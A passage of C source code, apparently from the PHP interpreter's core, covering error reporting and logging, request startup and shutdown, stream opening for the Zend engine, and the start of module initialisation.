char buf[PHP_WIN32_ERROR_MSG_BUFFER_SIZE + 1];
int buf_len;
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 0, buf, PHP_WIN32_ERROR_MSG_BUFFER_SIZE, NULL);
buf_len = (int)strlen(buf);
if (buf_len >= 2) {
buf[buf_len - 1] = '\0';
buf[buf_len - 2] = '\0';
}
php_error_docref2(NULL, param1, param2, E_WARNING, "%s (code: %lu)", (char *)buf, error);
}
}
#undef PHP_WIN32_ERROR_MSG_BUFFER_SIZE
#endif
/* {{{ php_html_puts */
PHPAPI void php_html_puts(const char *str, size_t size)
{
zend_html_puts(str, size);
}
/* }}} */
/* {{{ php_error_cb
extended error handling function */
static void php_error_cb(int type, const char *error_filename, const uint error_lineno, const char *format, va_list args)
{
char *buffer;
int buffer_len, display;
buffer_len = (int)vspprintf(&buffer, PG(log_errors_max_len), format, args);
/* check for repeated errors to be ignored */
if (PG(ignore_repeated_errors) && PG(last_error_message)) {
/* no check for PG(last_error_file) is needed since it cannot
* be NULL if PG(last_error_message) is not NULL */
if (strcmp(PG(last_error_message), buffer)
|| (!PG(ignore_repeated_source)
&& ((PG(last_error_lineno) != (int)error_lineno)
|| strcmp(PG(last_error_file), error_filename)))) {
display = 1;
} else {
display = 0;
}
} else {
display = 1;
}
/* store the error if it has changed */
if (display) {
#ifdef ZEND_SIGNALS
HANDLE_BLOCK_INTERRUPTIONS();
#endif
if (PG(last_error_message)) {
free(PG(last_error_message));
PG(last_error_message) = NULL;
}
if (PG(last_error_file)) {
free(PG(last_error_file));
PG(last_error_file) = NULL;
}
#ifdef ZEND_SIGNALS
HANDLE_UNBLOCK_INTERRUPTIONS();
#endif
if (!error_filename) {
error_filename = "Unknown";
}
PG(last_error_type) = type;
PG(last_error_message) = strdup(buffer);
PG(last_error_file) = strdup(error_filename);
PG(last_error_lineno) = error_lineno;
}
/* according to error handling mode, suppress error, throw exception or show it */
if (EG(error_handling) != EH_NORMAL) {
switch (type) {
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:
case E_USER_ERROR:
case E_PARSE:
/* fatal errors are real errors and cannot be made exceptions */
break;
case E_STRICT:
case E_DEPRECATED:
case E_USER_DEPRECATED:
/* for the sake of BC to old damaged code */
break;
case E_NOTICE:
case E_USER_NOTICE:
/* notices are no errors and are not treated as such like E_WARNINGS */
break;
default:
/* throw an exception if we are in EH_THROW mode
* but DO NOT overwrite a pending exception
*/
if (EG(error_handling) == EH_THROW && !EG(exception)) {
zend_throw_error_exception(EG(exception_class), buffer, 0, type);
}
efree(buffer);
return;
}
}
/* display/log the error if necessary */
if (display && (EG(error_reporting) & type || (type & E_CORE))
&& (PG(log_errors) || PG(display_errors) || (!module_initialized))) {
char *error_type_str;
switch (type) {
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:
case E_USER_ERROR:
error_type_str = "Fatal error";
break;
case E_RECOVERABLE_ERROR:
error_type_str = "Catchable fatal error";
break;
case E_WARNING:
case E_CORE_WARNING:
case E_COMPILE_WARNING:
case E_USER_WARNING:
error_type_str = "Warning";
break;
case E_PARSE:
error_type_str = "Parse error";
break;
case E_NOTICE:
case E_USER_NOTICE:
error_type_str = "Notice";
break;
case E_STRICT:
error_type_str = "Strict Standards";
break;
case E_DEPRECATED:
case E_USER_DEPRECATED:
error_type_str = "Deprecated";
break;
default:
error_type_str = "Unknown error";
break;
}
if (!module_initialized || PG(log_errors)) {
char *log_buffer;
#ifdef PHP_WIN32
if (type == E_CORE_ERROR || type == E_CORE_WARNING) {
syslog(LOG_ALERT, "PHP %s: %s (%s)", error_type_str, buffer, GetCommandLine());
}
#endif
spprintf(&log_buffer, 0, "PHP %s: %s in %s on line %d", error_type_str, buffer, error_filename, error_lineno);
php_log_err(log_buffer);
efree(log_buffer);
}
if (PG(display_errors) && ((module_initialized && !PG(during_request_startup)) || (PG(display_startup_errors)))) {
if (PG(xmlrpc_errors)) {
php_printf("<?xml version=\"1.0\"?><methodResponse><fault><value><struct><member><name>faultCode</name><value><int>%pd</int></value></member><member><name>faultString</name><value><string>%s:%s in %s on line %d</string></value></member></struct></value></fault></methodResponse>", PG(xmlrpc_error_number), error_type_str, buffer, error_filename, error_lineno);
} else {
char *prepend_string = INI_STR("error_prepend_string");
char *append_string = INI_STR("error_append_string");
if (PG(html_errors)) {
if (type == E_ERROR || type == E_PARSE) {
zend_string *buf = php_escape_html_entities((unsigned char*)buffer, buffer_len, 0, ENT_COMPAT, NULL);
php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buf->val, error_filename, error_lineno, STR_PRINT(append_string));
zend_string_free(buf);
} else {
php_printf("%s<br />\n<b>%s</b>: %s in <b>%s</b> on line <b>%d</b><br />\n%s", STR_PRINT(prepend_string), error_type_str, buffer, error_filename, error_lineno, STR_PRINT(append_string));
}
} else {
/* Write CLI/CGI errors to stderr if display_errors = "stderr" */
if ((!strcmp(sapi_module.name, "cli") || !strcmp(sapi_module.name, "cgi")) &&
PG(display_errors) == PHP_DISPLAY_ERRORS_STDERR
) {
#ifdef PHP_WIN32
fprintf(stderr, "%s: %s in %s on line %u\n", error_type_str, buffer, error_filename, error_lineno);
fflush(stderr);
#else
fprintf(stderr, "%s: %s in %s on line %u\n", error_type_str, buffer, error_filename, error_lineno);
#endif
} else {
php_printf("%s\n%s: %s in %s on line %d\n%s", STR_PRINT(prepend_string), error_type_str, buffer, error_filename, error_lineno, STR_PRINT(append_string));
}
}
}
}
#if ZEND_DEBUG
if (PG(report_zend_debug)) {
zend_bool trigger_break;
switch (type) {
case E_ERROR:
case E_CORE_ERROR:
case E_COMPILE_ERROR:
case E_USER_ERROR:
trigger_break=1;
break;
default:
trigger_break=0;
break;
}
zend_output_debug_string(trigger_break, "%s(%d) : %s - %s", error_filename, error_lineno, error_type_str, buffer);
}
#endif
}
/* Bail out if we can't recover */
switch (type) {
case E_CORE_ERROR:
if(!module_initialized) {
/* bad error in module startup - no way we can live with this */
exit(-2);
}
/* no break - intentionally */
case E_ERROR:
case E_RECOVERABLE_ERROR:
case E_PARSE:
case E_COMPILE_ERROR:
case E_USER_ERROR:
{ /* new block to allow variable definition */
/* eval() errors do not affect exit_status or response code */
zend_bool during_eval = 0;
if (type == E_PARSE) {
zend_execute_data *execute_data = EG(current_execute_data);
while (execute_data && (!execute_data->func || !ZEND_USER_CODE(execute_data->func->common.type))) {
execute_data = execute_data->prev_execute_data;
}
during_eval = (execute_data &&
execute_data->opline->opcode == ZEND_INCLUDE_OR_EVAL &&
execute_data->opline->extended_value == ZEND_EVAL);
}
if (!during_eval) {
EG(exit_status) = 255;
}
if (module_initialized) {
if (!PG(display_errors) &&
!SG(headers_sent) &&
SG(sapi_headers).http_response_code == 200 &&
!during_eval
) {
sapi_header_line ctr = {0};
ctr.line = "HTTP/1.0 500 Internal Server Error";
ctr.line_len = sizeof("HTTP/1.0 500 Internal Server Error") - 1;
sapi_header_op(SAPI_HEADER_REPLACE, &ctr);
}
/* the parser would return 1 (failure), we can bail out nicely */
if (type == E_PARSE) {
CG(parse_error) = 0;
} else {
/* restore memory limit */
zend_set_memory_limit(PG(memory_limit));
efree(buffer);
zend_objects_store_mark_destructed(&EG(objects_store));
zend_bailout();
return;
}
}
break;
}
}
/* Log if necessary */
if (!display) {
efree(buffer);
return;
}
if (PG(track_errors) && module_initialized && EG(valid_symbol_table)) {
zval tmp;
ZVAL_STRINGL(&tmp, buffer, buffer_len);
if (EG(current_execute_data)) {
if (zend_set_local_var_str("php_errormsg", sizeof("php_errormsg")-1, &tmp, 0) == FAILURE) {
zval_ptr_dtor(&tmp);
}
} else {
zend_hash_str_update_ind(&EG(symbol_table), "php_errormsg", sizeof("php_errormsg")-1, &tmp);
}
}
efree(buffer);
}
/* }}} */
/* {{{ php_get_current_user
*/
PHPAPI char *php_get_current_user(void)
{
zend_stat_t *pstat;
if (SG(request_info).current_user) {
return SG(request_info).current_user;
}
/* FIXME: I need to have this somehow handled if
USE_SAPI is defined, because cgi will also be
interfaced in USE_SAPI */
pstat = sapi_get_stat();
if (!pstat) {
return "";
} else {
#ifdef PHP_WIN32
char name[256];
DWORD len = sizeof(name)-1;
if (!GetUserName(name, &len)) {
return "";
}
name[len] = '\0';
SG(request_info).current_user_length = len;
SG(request_info).current_user = estrndup(name, len);
return SG(request_info).current_user;
#else
struct passwd *pwd;
#if defined(ZTS) && defined(HAVE_GETPWUID_R) && defined(_SC_GETPW_R_SIZE_MAX)
struct passwd _pw;
struct passwd *retpwptr = NULL;
int pwbuflen = sysconf(_SC_GETPW_R_SIZE_MAX);
char *pwbuf;
if (pwbuflen < 1) {
return "";
}
pwbuf = emalloc(pwbuflen);
if (getpwuid_r(pstat->st_uid, &_pw, pwbuf, pwbuflen, &retpwptr) != 0) {
efree(pwbuf);
return "";
}
if (retpwptr == NULL) {
efree(pwbuf);
return "";
}
pwd = &_pw;
#else
if ((pwd=getpwuid(pstat->st_uid))==NULL) {
return "";
}
#endif
SG(request_info).current_user_length = strlen(pwd->pw_name);
SG(request_info).current_user = estrndup(pwd->pw_name, SG(request_info).current_user_length);
#if defined(ZTS) && defined(HAVE_GETPWUID_R) && defined(_SC_GETPW_R_SIZE_MAX)
efree(pwbuf);
#endif
return SG(request_info).current_user;
#endif
}
}
/* }}} */
/* {{{ proto bool set_time_limit(int seconds)
Sets the maximum time a script can run */
PHP_FUNCTION(set_time_limit)
{
zend_long new_timeout;
char *new_timeout_str;
int new_timeout_strlen;
zend_string *key;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &new_timeout) == FAILURE) {
return;
}
new_timeout_strlen = (int)zend_spprintf(&new_timeout_str, 0, ZEND_LONG_FMT, new_timeout);
key = zend_string_init("max_execution_time", sizeof("max_execution_time")-1, 0);
if (zend_alter_ini_entry_chars_ex(key, new_timeout_str, new_timeout_strlen, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == SUCCESS) {
RETVAL_TRUE;
} else {
RETVAL_FALSE;
}
zend_string_release(key);
efree(new_timeout_str);
}
/* }}} */
/* {{{ php_fopen_wrapper_for_zend
*/
static FILE *php_fopen_wrapper_for_zend(const char *filename, zend_string **opened_path)
{
return php_stream_open_wrapper_as_file((char *)filename, "rb", USE_PATH|IGNORE_URL_WIN|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE, opened_path);
}
/* }}} */
static void php_zend_stream_closer(void *handle) /* {{{ */
{
php_stream_close((php_stream*)handle);
}
/* }}} */
static void php_zend_stream_mmap_closer(void *handle) /* {{{ */
{
php_stream_mmap_unmap((php_stream*)handle);
php_zend_stream_closer(handle);
}
/* }}} */
static size_t php_zend_stream_fsizer(void *handle) /* {{{ */
{
php_stream_statbuf ssb;
if (php_stream_stat((php_stream*)handle, &ssb) == 0) {
return ssb.sb.st_size;
}
return 0;
}
/* }}} */
static int php_stream_open_for_zend(const char *filename, zend_file_handle *handle) /* {{{ */
{
return php_stream_open_for_zend_ex(filename, handle, USE_PATH|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE);
}
/* }}} */
PHPAPI int php_stream_open_for_zend_ex(const char *filename, zend_file_handle *handle, int mode) /* {{{ */
{
char *p;
size_t len, mapped_len;
php_stream *stream = php_stream_open_wrapper((char *)filename, "rb", mode, &handle->opened_path);
if (stream) {
#if HAVE_MMAP || defined(PHP_WIN32)
size_t page_size = REAL_PAGE_SIZE;
#endif
handle->filename = (char*)filename;
handle->free_filename = 0;
handle->handle.stream.handle = stream;
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
handle->handle.stream.fsizer = php_zend_stream_fsizer;
handle->handle.stream.isatty = 0;
/* can we mmap immediately? */
memset(&handle->handle.stream.mmap, 0, sizeof(handle->handle.stream.mmap));
len = php_zend_stream_fsizer(stream);
if (len != 0
#if HAVE_MMAP || defined(PHP_WIN32)
&& ((len - 1) % page_size) <= page_size - ZEND_MMAP_AHEAD
#endif
&& php_stream_mmap_possible(stream)
&& (p = php_stream_mmap_range(stream, 0, len, PHP_STREAM_MAP_MODE_SHARED_READONLY, &mapped_len)) != NULL) {
handle->handle.stream.closer = php_zend_stream_mmap_closer;
handle->handle.stream.mmap.buf = p;
handle->handle.stream.mmap.len = mapped_len;
handle->type = ZEND_HANDLE_MAPPED;
} else {
handle->handle.stream.closer = php_zend_stream_closer;
handle->type = ZEND_HANDLE_STREAM;
}
/* suppress warning if this stream is not explicitly closed */
php_stream_auto_cleanup(stream);
return SUCCESS;
}
return FAILURE;
}
/* }}} */
static zend_string *php_resolve_path_for_zend(const char *filename, int filename_len) /* {{{ */
{
return php_resolve_path(filename, filename_len, PG(include_path));
}
/* }}} */
/* {{{ php_get_configuration_directive_for_zend
*/
static zval *php_get_configuration_directive_for_zend(zend_string *name)
{
return cfg_get_entry_ex(name);
}
/* }}} */
/* {{{ php_message_handler_for_zend
*/
static void php_message_handler_for_zend(zend_long message, const void *data)
{
switch (message) {
case ZMSG_FAILED_INCLUDE_FOPEN:
php_error_docref("function.include", E_WARNING, "Failed opening '%s' for inclusion (include_path='%s')", php_strip_url_passwd((char *) data), STR_PRINT(PG(include_path)));
break;
case ZMSG_FAILED_REQUIRE_FOPEN:
php_error_docref("function.require", E_COMPILE_ERROR, "Failed opening required '%s' (include_path='%s')", php_strip_url_passwd((char *) data), STR_PRINT(PG(include_path)));
break;
case ZMSG_FAILED_HIGHLIGHT_FOPEN:
php_error_docref(NULL, E_WARNING, "Failed opening '%s' for highlighting", php_strip_url_passwd((char *) data));
break;
case ZMSG_MEMORY_LEAK_DETECTED:
case ZMSG_MEMORY_LEAK_REPEATED:
#if ZEND_DEBUG
if (EG(error_reporting) & E_WARNING) {
char memory_leak_buf[1024];
if (message==ZMSG_MEMORY_LEAK_DETECTED) {
zend_leak_info *t = (zend_leak_info *) data;
snprintf(memory_leak_buf, 512, "%s(%d) : Freeing 0x%.8lX (%zu bytes), script=%s\n", t->filename, t->lineno, (zend_uintptr_t)t->addr, t->size, SAFE_FILENAME(SG(request_info).path_translated));
if (t->orig_filename) {
char relay_buf[512];
snprintf(relay_buf, 512, "%s(%d) : Actual location (location was relayed)\n", t->orig_filename, t->orig_lineno);
strlcat(memory_leak_buf, relay_buf, sizeof(memory_leak_buf));
}
} else {
unsigned long leak_count = (zend_uintptr_t) data;
snprintf(memory_leak_buf, 512, "Last leak repeated %ld time%s\n", leak_count, (leak_count>1?"s":""));
}
# if defined(PHP_WIN32)
OutputDebugString(memory_leak_buf);
# else
fprintf(stderr, "%s", memory_leak_buf);
# endif
}
#endif
break;
case ZMSG_MEMORY_LEAKS_GRAND_TOTAL:
#if ZEND_DEBUG
if (EG(error_reporting) & E_WARNING) {
char memory_leak_buf[512];
snprintf(memory_leak_buf, 512, "=== Total %d memory leaks detected ===\n", *((uint32_t *) data));
# if defined(PHP_WIN32)
OutputDebugString(memory_leak_buf);
# else
fprintf(stderr, "%s", memory_leak_buf);
# endif
}
#endif
break;
case ZMSG_LOG_SCRIPT_NAME: {
struct tm *ta, tmbuf;
time_t curtime;
char *datetime_str, asctimebuf[52];
char memory_leak_buf[4096];
time(&curtime);
ta = php_localtime_r(&curtime, &tmbuf);
datetime_str = php_asctime_r(ta, asctimebuf);
if (datetime_str) {
datetime_str[strlen(datetime_str)-1]=0; /* get rid of the trailing newline */
snprintf(memory_leak_buf, sizeof(memory_leak_buf), "[%s] Script: '%s'\n", datetime_str, SAFE_FILENAME(SG(request_info).path_translated));
} else {
snprintf(memory_leak_buf, sizeof(memory_leak_buf), "[null] Script: '%s'\n", SAFE_FILENAME(SG(request_info).path_translated));
}
# if defined(PHP_WIN32)
OutputDebugString(memory_leak_buf);
# else
fprintf(stderr, "%s", memory_leak_buf);
# endif
}
break;
}
}
/* }}} */
void php_on_timeout(int seconds)
{
PG(connection_status) |= PHP_CONNECTION_TIMEOUT;
zend_set_timeout(EG(timeout_seconds), 1);
if(PG(exit_on_timeout)) sapi_terminate_process();
}
#if PHP_SIGCHILD
/* {{{ sigchld_handler
*/
static void sigchld_handler(int apar)
{
int errno_save = errno;
while (waitpid(-1, NULL, WNOHANG) > 0);
signal(SIGCHLD, sigchld_handler);
errno = errno_save;
}
/* }}} */
#endif
/* {{{ php_start_sapi()
*/
static int php_start_sapi(void)
{
int retval = SUCCESS;
if(!SG(sapi_started)) {
zend_try {
PG(during_request_startup) = 1;
/* initialize global variables */
PG(modules_activated) = 0;
PG(header_is_being_sent) = 0;
PG(connection_status) = PHP_CONNECTION_NORMAL;
zend_activate();
zend_set_timeout(EG(timeout_seconds), 1);
zend_activate_modules();
PG(modules_activated)=1;
} zend_catch {
retval = FAILURE;
} zend_end_try();
SG(sapi_started) = 1;
}
return retval;
}
/* }}} */
/* {{{ php_request_startup
*/
#ifndef APACHE_HOOKS
int php_request_startup(void)
{
int retval = SUCCESS;
#ifdef HAVE_DTRACE
DTRACE_REQUEST_STARTUP(SAFE_FILENAME(SG(request_info).path_translated), SAFE_FILENAME(SG(request_info).request_uri), (char *)SAFE_FILENAME(SG(request_info).request_method));
#endif /* HAVE_DTRACE */
#ifdef PHP_WIN32
PG(com_initialized) = 0;
#endif
#if PHP_SIGCHILD
signal(SIGCHLD, sigchld_handler);
#endif
zend_try {
PG(in_error_log) = 0;
PG(during_request_startup) = 1;
php_output_activate();
/* initialize global variables */
PG(modules_activated) = 0;
PG(header_is_being_sent) = 0;
PG(connection_status) = PHP_CONNECTION_NORMAL;
PG(in_user_include) = 0;
zend_activate();
sapi_activate();
#ifdef ZEND_SIGNALS
zend_signal_activate();
#endif
if (PG(max_input_time) == -1) {
zend_set_timeout(EG(timeout_seconds), 1);
} else {
zend_set_timeout(PG(max_input_time), 1);
}
/* Disable realpath cache if an open_basedir is set */
if (PG(open_basedir) && *PG(open_basedir)) {
CWDG(realpath_cache_size_limit) = 0;
}
if (PG(expose_php)) {
sapi_add_header(SAPI_PHP_VERSION_HEADER, sizeof(SAPI_PHP_VERSION_HEADER)-1, 1);
}
if (PG(output_handler) && PG(output_handler)[0]) {
zval oh;
ZVAL_STRING(&oh, PG(output_handler));
php_output_start_user(&oh, 0, PHP_OUTPUT_HANDLER_STDFLAGS);
zval_ptr_dtor(&oh);
} else if (PG(output_buffering)) {
php_output_start_user(NULL, PG(output_buffering) > 1 ? PG(output_buffering) : 0, PHP_OUTPUT_HANDLER_STDFLAGS);
} else if (PG(implicit_flush)) {
php_output_set_implicit_flush(1);
}
/* We turn this off in php_execute_script() */
/* PG(during_request_startup) = 0; */
php_hash_environment();
zend_activate_modules();
PG(modules_activated)=1;
} zend_catch {
retval = FAILURE;
} zend_end_try();
SG(sapi_started) = 1;
return retval;
}
# else
int php_request_startup(void)
{
int retval = SUCCESS;
#if PHP_SIGCHILD
signal(SIGCHLD, sigchld_handler);
#endif
if (php_start_sapi() == FAILURE) {
return FAILURE;
}
php_output_activate();
sapi_activate();
php_hash_environment();
zend_try {
PG(during_request_startup) = 1;
if (PG(expose_php)) {
sapi_add_header(SAPI_PHP_VERSION_HEADER, sizeof(SAPI_PHP_VERSION_HEADER)-1, 1);
}
} zend_catch {
retval = FAILURE;
} zend_end_try();
return retval;
}
# endif
/* }}} */
/* {{{ php_request_startup_for_hook
*/
int php_request_startup_for_hook(void)
{
int retval = SUCCESS;
#if PHP_SIGCHLD
signal(SIGCHLD, sigchld_handler);
#endif
if (php_start_sapi() == FAILURE) {
return FAILURE;
}
php_output_activate();
sapi_activate_headers_only();
php_hash_environment();
return retval;
}
/* }}} */
/* {{{ php_request_shutdown_for_exec
*/
void php_request_shutdown_for_exec(void *dummy)
{
/* used to close fd's in the 3..255 range here, but it's problematic
*/
shutdown_memory_manager(1, 1);
zend_interned_strings_restore();
}
/* }}} */
/* {{{ php_request_shutdown_for_hook
*/
void php_request_shutdown_for_hook(void *dummy)
{
if (PG(modules_activated)) zend_try {
php_call_shutdown_functions();
} zend_end_try();
if (PG(modules_activated)) {
zend_deactivate_modules();
php_free_shutdown_functions();
}
zend_try {
zend_unset_timeout();
} zend_end_try();
zend_try {
int i;
for (i = 0; i < NUM_TRACK_VARS; i++) {
zval_ptr_dtor(&PG(http_globals)[i]);
}
} zend_end_try();
zend_deactivate();
zend_try {
sapi_deactivate();
} zend_end_try();
zend_try {
php_shutdown_stream_hashes();
} zend_end_try();
zend_try {
shutdown_memory_manager(CG(unclean_shutdown), 0);
} zend_end_try();
zend_interned_strings_restore();
#ifdef ZEND_SIGNALS
zend_try {
zend_signal_deactivate();
} zend_end_try();
#endif
}
/* }}} */
/* {{{ php_request_shutdown
*/
void php_request_shutdown(void *dummy)
{
zend_bool report_memleaks;
report_memleaks = PG(report_memleaks);
/* EG(current_execute_data) points into nirvana and therefore cannot be safely accessed
* inside zend_executor callback functions.
*/
EG(current_execute_data) = NULL;
php_deactivate_ticks();
/* 1. Call all possible shutdown functions registered with register_shutdown_function() */
if (PG(modules_activated)) zend_try {
php_call_shutdown_functions();
} zend_end_try();
/* 2. Call all possible __destruct() functions */
zend_try {
zend_call_destructors();
} zend_end_try();
/* 3. Flush all output buffers */
zend_try {
zend_bool send_buffer = SG(request_info).headers_only ? 0 : 1;
if (CG(unclean_shutdown) && PG(last_error_type) == E_ERROR &&
(size_t)PG(memory_limit) < zend_memory_usage(1)
) {
send_buffer = 0;
}
if (!send_buffer) {
php_output_discard_all();
} else {
php_output_end_all();
}
} zend_end_try();
/* 4. Reset max_execution_time (no longer executing php code after response sent) */
zend_try {
zend_unset_timeout();
} zend_end_try();
/* 5. Call all extensions RSHUTDOWN functions */
if (PG(modules_activated)) {
zend_deactivate_modules();
php_free_shutdown_functions();
}
/* 6. Shutdown output layer (send the set HTTP headers, cleanup output handlers, etc.) */
zend_try {
php_output_deactivate();
} zend_end_try();
/* 7. Destroy super-globals */
zend_try {
int i;
for (i=0; i<NUM_TRACK_VARS; i++) {
zval_ptr_dtor(&PG(http_globals)[i]);
}
} zend_end_try();
/* 8. free last error information */
if (PG(last_error_message)) {
free(PG(last_error_message));
PG(last_error_message) = NULL;
}
if (PG(last_error_file)) {
free(PG(last_error_file));
PG(last_error_file) = NULL;
}
/* 9. Shutdown scanner/executor/compiler and restore ini entries */
zend_deactivate();
/* 10. Call all extensions post-RSHUTDOWN functions */
zend_try {
zend_post_deactivate_modules();
} zend_end_try();
/* 11. SAPI related shutdown (free stuff) */
zend_try {
sapi_deactivate();
} zend_end_try();
/* 12. free virtual CWD memory */
virtual_cwd_deactivate();
/* 13. Destroy stream hashes */
zend_try {
php_shutdown_stream_hashes();
} zend_end_try();
/* 14. Free Willy (here be crashes) */
zend_interned_strings_restore();
zend_try {
shutdown_memory_manager(CG(unclean_shutdown) || !report_memleaks, 0);
} zend_end_try();
/* 15. Reset max_execution_time */
zend_try {
zend_unset_timeout();
} zend_end_try();
#ifdef PHP_WIN32
if (PG(com_initialized)) {
CoUninitialize();
PG(com_initialized) = 0;
}
#endif
#ifdef HAVE_DTRACE
DTRACE_REQUEST_SHUTDOWN(SAFE_FILENAME(SG(request_info).path_translated), SAFE_FILENAME(SG(request_info).request_uri), (char *)SAFE_FILENAME(SG(request_info).request_method));
#endif /* HAVE_DTRACE */
}
/* }}} */
/* {{{ php_com_initialize
*/
PHPAPI void php_com_initialize(void)
{
#ifdef PHP_WIN32
if (!PG(com_initialized)) {
if (CoInitialize(NULL) == S_OK) {
PG(com_initialized) = 1;
}
}
#endif
}
/* }}} */
/* {{{ php_output_wrapper
*/
static size_t php_output_wrapper(const char *str, size_t str_length)
{
return php_output_write(str, str_length);
}
/* }}} */
#ifdef ZTS
/* {{{ core_globals_ctor
*/
static void core_globals_ctor(php_core_globals *core_globals)
{
memset(core_globals, 0, sizeof(*core_globals));
}
/* }}} */
#endif
/* {{{ core_globals_dtor
*/
static void core_globals_dtor(php_core_globals *core_globals)
{
if (core_globals->last_error_message) {
free(core_globals->last_error_message);
}
if (core_globals->last_error_file) {
free(core_globals->last_error_file);
}
if (core_globals->disable_functions) {
free(core_globals->disable_functions);
}
if (core_globals->disable_classes) {
free(core_globals->disable_classes);
}
if (core_globals->php_binary) {
free(core_globals->php_binary);
}
php_shutdown_ticks();
}
/* }}} */
PHP_MINFO_FUNCTION(php_core) { /* {{{ */
php_info_print_table_start();
php_info_print_table_row(2, "PHP Version", PHP_VERSION);
php_info_print_table_end();
DISPLAY_INI_ENTRIES();
}
/* }}} */
/* {{{ php_register_extensions
*/
int php_register_extensions(zend_module_entry **ptr, int count)
{
zend_module_entry **end = ptr + count;
while (ptr < end) {
if (*ptr) {
if (zend_register_internal_module(*ptr)==NULL) {
return FAILURE;
}
}
ptr++;
}
return SUCCESS;
}
/* A very long time ago php_module_startup() was refactored in a way
* which broke calling it with more than one additional module.
* This alternative to php_register_extensions() works around that
* by walking the shallower structure.
*
* See algo: https://bugs.php.net/bug.php?id=63159
*/
static int php_register_extensions_bc(zend_module_entry *ptr, int count)
{
while (count--) {
if (zend_register_internal_module(ptr++) == NULL) {
return FAILURE;
}
}
return SUCCESS;
}
/* }}} */
#if defined(PHP_WIN32) && _MSC_VER >= 1400
static _invalid_parameter_handler old_invalid_parameter_handler;
void dummy_invalid_parameter_handler(
const wchar_t *expression,
const wchar_t *function,
const wchar_t *file,
unsigned int line,
uintptr_t pEwserved)
{
static int called = 0;
char buf[1024];
int len;
if (!called) {
if(PG(windows_show_crt_warning)) {
called = 1;
if (function) {
if (file) {
len = _snprintf(buf, sizeof(buf)-1, "Invalid parameter detected in CRT function '%ws' (%ws:%u)", function, file, line);
} else {
len = _snprintf(buf, sizeof(buf)-1, "Invalid parameter detected in CRT function '%ws'", function);
}
} else {
len = _snprintf(buf, sizeof(buf)-1, "Invalid CRT parameter detected (function not known)");
}
zend_error(E_WARNING, "%s", buf);
called = 0;
}
}
}
#endif
/* {{{ php_module_startup
*/
int php_module_startup(sapi_module_struct *sf, zend_module_entry *additional_modules, uint num_additional_modules)
{
zend_utility_functions zuf;
zend_utility_values zuv;
int retval = SUCCESS, module_number=0; /* for REGISTER_INI_ENTRIES() */
char *php_os;
zend_module_entry *module;
#if defined(PHP_WIN32) || (defined(NETWARE) && defined(USE_WINSOCK))
WORD wVersionRequested = MAKEWORD(2, 0);
WSADATA wsaData;
#endif
#ifdef PHP_WIN32
php_os = "WINNT";
#if _MSC_VER >= 1400
old_invalid_parameter_handler =
_set_invalid_parameter_handler(dummy_invalid_parameter_handler);
if (old_invalid_parameter_handler != NULL) {
_set_invalid_parameter_handler(old_invalid_parameter_handler);
}
/* Disable the message box for assertions.*/
_CrtSetReportMode(_CRT_ASSERT, 0);
#endif
#else
php_os = PHP_OS;
#endif
#ifdef ZTS
(void)ts_resource(0);
#endif
#ifdef PHP_WIN32
php_win32_init_rng_lock();
#endif
module_shutdown = 0;
module_startup = 1;
sapi_initialize_empty_request();
sapi_activate();
if (module_initialized) {
return SUCCESS;
}
sapi_module = *sf;
php_output_startup();
#ifdef ZTS
ts_allocate_id(&core_globals_id, sizeof(php_core_globals), (ts_allocate_ctor) core_globals_ctor, (ts_allocate_dtor) core_globals_dtor);
php_startup_ticks();
#ifdef PHP_WIN32
ts_allocate_id(&php_win32_core_globals_id, sizeof(php_win32_core_globals), (ts_allocate_ctor) php_win32_core_globals_ctor, (ts_allocate_dtor) php_win32_core_globals_dtor);
#endif
#else
php_startup_ticks();
#endif
gc_globals_ctor();
zuf.error_function = php_error_cb;
zuf.printf_function = php_printf;
zuf.write_function = php_output_wrapper;
zuf.fopen_function = php_fopen_wrapper_for_zend;
zuf.message_handler = php_message_handler_for_zend;
zuf.block_interruptions = sapi_module.block_interruptions;
zuf.unblock_interruptions = sapi_module.unblock_interruptions;
zuf.get_configuration_directive = php_get_configuration_directive_for_zend;
zuf.ticks_function = php_run_ticks;
zuf.on_timeout = php_on_timeout;
zuf.stream_open_function = php_stream_open_for_zend;
zuf.vspprintf_function = vspprintf;
zuf.vstrpprintf_function = vstrpprintf;
zuf.getenv_function = sapi_getenv;
zuf.resolve_path_function = php_resolve_path_for_zend;
zend_startup(&zuf, NULL);
#ifdef PHP_WIN32
{
OSVERSIONINFOEX *osvi = &EG(windows_version_info);
ZeroMemory(osvi, sizeof(OSVERSIONINFOEX));
osvi->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if( !GetVersionEx((OSVERSIONINFO *) osvi)) {
php_printf("\nGetVersionEx unusable. %d\n", GetLastError());
return FAILURE;
}
}
#endif
#if HAVE_SETLOCALE
setlocale(LC_CTYPE, "");
zend_update_current_locale();
#endif
#if HAVE_TZSET
tzset();
#endif
#if defined(PHP_WIN32) || (defined(NETWARE) && defined(USE_WINSOCK))
/* start up winsock services */
if (WSAStartup(wVersionRequested, &wsaData) != 0) {
php_printf("\nwinsock.dll unusable. %d\n", WSAGetLastError());
return FAILURE;
}
#endif
le_index_ptr = zend_register_list_destructors_ex(NULL, NULL, "index pointer", 0);
/* Register constants */
REGISTER_MAIN_STRINGL_CONSTANT("PHP_VERSION", PHP_VERSION, sizeof(PHP_VERSION)-1, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_MAJOR_VERSION", PHP_MAJOR_VERSION, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_MINOR_VERSION", PHP_MINOR_VERSION, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_LONG_CONSTANT("PHP_RELEASE_VERSION", PHP_RELEASE_VERSION, CONST_PERSISTENT | CONST_CS);
REGISTER_MAIN_STRINGL_CONSTANT("PHP_EXTRA_VERSION", PHP_EXTRA_VERSION, sizeof(PHP_EXTRA_VERSION) - 1, CONST_PERSISTENT | CONST_CS);
